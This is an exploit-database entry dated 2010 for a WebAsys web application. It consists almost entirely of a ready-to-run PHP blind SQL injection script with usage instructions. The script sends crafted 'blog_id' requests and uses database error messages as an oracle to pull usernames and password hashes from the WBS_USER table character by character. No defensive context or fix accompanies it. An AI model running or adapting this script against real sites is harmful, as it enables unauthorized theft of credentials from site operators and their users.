WebAsys blind SQL Injection Exploit

2010-05-24T00:00:00
ID 1337DAY-ID-12382
Type zdt
Reporter n/a
Modified 2010-05-24T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ===================================
WebAsys blind SQL Injection Exploit
===================================

<?php
/**
 * WebAsys blindSQL-inj exploit
 * @author: zsh.shell
 */
 
if($argc !== 4) {
 echo "#######################################\n\n";
 echo "GET username by id:\tphp ".$argv[0]." url id u\n";
 echo "GET password by id:\tphp ".$argv[0]." url id p\n";
 echo "\nExample: php ".$argv[0]." http://site.com/ 1 p\n\n";
 die("#######################################\n");
}
$url = $argv[1]."index.php?ukey=news&blog_id=";
$id = $argv[2];
$me = $argv[3];
if($me == 'u') {
        $me = "lower(U_ID)";
        $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z);
 
    for($i=1;$i<=25;$i++) {
        $vuln = $url."if((select+length(U_ID)+FROM+WBS_USER+where+C_ID=1)=".$i.",1,(select+1+union+select+2))";
        $result = file_get_contents($vuln);
        if(!preg_match("/Subquery returns/", $result)) {
            $much = $i;
            break;
        }
     }
}
elseif($me == 'p') {
    $me = "U_PASSWORD";
    $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f);
    $much = 32;
}
else die("Wrong exploit parametr". $me ."\n");
 
$chars = array_map("ord", $chars);
 
 
for($i=1;$i<=$much;$i++)
    foreach($chars as $j) {
        for($k=0;$k<=strlen($out);$k++) echo chr(8);
        $vuln = $url."if(ascii(substring((select+".$me."+from+WBS_USER+where+C_ID=".$id."),".$i.",1))=".$j.",1,(select+1+union+select+2))";
        $result = file_get_contents($vuln);
        $out = "[".chr($j)."] :> ".$res;
         
        if(!preg_match("/Subquery returns/", $result)) {
            $res .= chr($j);
            break;
        }
        echo $out;
    }
if(substr(strtolower(PHP_OS),0,3) == 'win') system("cls"); else system("clear");
echo "[+] Result:\t".$res."\n";
?>



#  0day.today [2018-01-02]  #